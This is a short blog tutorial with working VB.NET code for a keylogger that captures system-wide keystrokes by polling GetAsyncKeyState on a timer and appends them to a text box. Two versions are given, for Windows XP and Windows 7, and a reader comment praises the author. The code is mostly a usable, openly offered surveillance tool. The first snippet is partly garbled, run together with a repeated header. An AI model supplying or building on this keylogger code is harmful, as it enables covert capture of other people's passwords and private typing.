Keylogger - Record keystrokes Tutorial - Visual Basic .NET
Tags: VB.NET, VB 2008, VB 2010, VB 2012, VB 2013
The following code was tested on Windows Xp
Requirements: a Form, 1 TextBoxes and a Timer.
Set Timer Enabled Property to True and change it's interval to 1
Add the following declarations:
Add the following declarations:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Timer_Tick event:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 key = 0 key = GetAsyncKeyState(i) If key = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i
THE FOLLOWING CODES WAS TESTED IN WINDOWS 7:
Imports System.Runtime.InteropServices
Public Class Form1
Dim key As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As System.Windows.Forms.Keys) As Short
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
key = 0
key = GetAsyncKeyState(i)
If key = -32767 Then
TextBox1.Text &= Chr(i)
End If
Next i
End Sub
End Class

Best blogger ever with simple guidelines.... Chop kiss
ReplyDelete